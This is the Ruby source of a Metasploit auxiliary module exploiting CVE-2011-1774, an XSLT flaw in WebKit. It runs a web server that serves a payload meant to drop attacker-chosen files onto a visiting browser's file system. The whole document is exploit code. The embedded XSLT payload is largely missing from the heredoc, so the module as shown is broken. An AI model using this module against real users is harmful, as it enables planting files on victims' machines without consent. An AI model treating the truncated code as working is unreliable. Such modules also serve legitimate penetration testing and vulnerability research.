## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'Cross Platform Webkit File Dropper', 'Description' => %q{ This module exploits a XSLT vulnerability in Webkit to drop ASCII or UTF-8 files to the target file-system. By default, the file will be dropped in C:\Program Files\ }, 'Author' => [ 'Nicolas Gregoire' ], 'Version' => '$Revision$', 'License' => MSF_LICENSE, 'Actions' => [ [ 'WebServer' ] ], 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer')) register_options( [ OptString.new('REMOTE_PATH', [ true, "Location of the remote file", 'flag.txt' ]), OptString.new('REMOTE_CONTENT', [ true, "Content of the remote file", 'Hello from CVE-2011-1774' ]) ], self.class) end def on_request_uri(cli, request) path = datastore['REMOTE_PATH'] content = datastore['REMOTE_CONTENT'] html = <<-EOS ]>

EOS print_status("#{cli.peerhost}:#{cli.peerport} Sending XSLT payload ...") print_status("#{cli.peerhost}:#{cli.peerport} Destination file : #{path}") send_response_html(cli, html, { 'Content-Type' => 'application/xml' }) end def run exploit() end end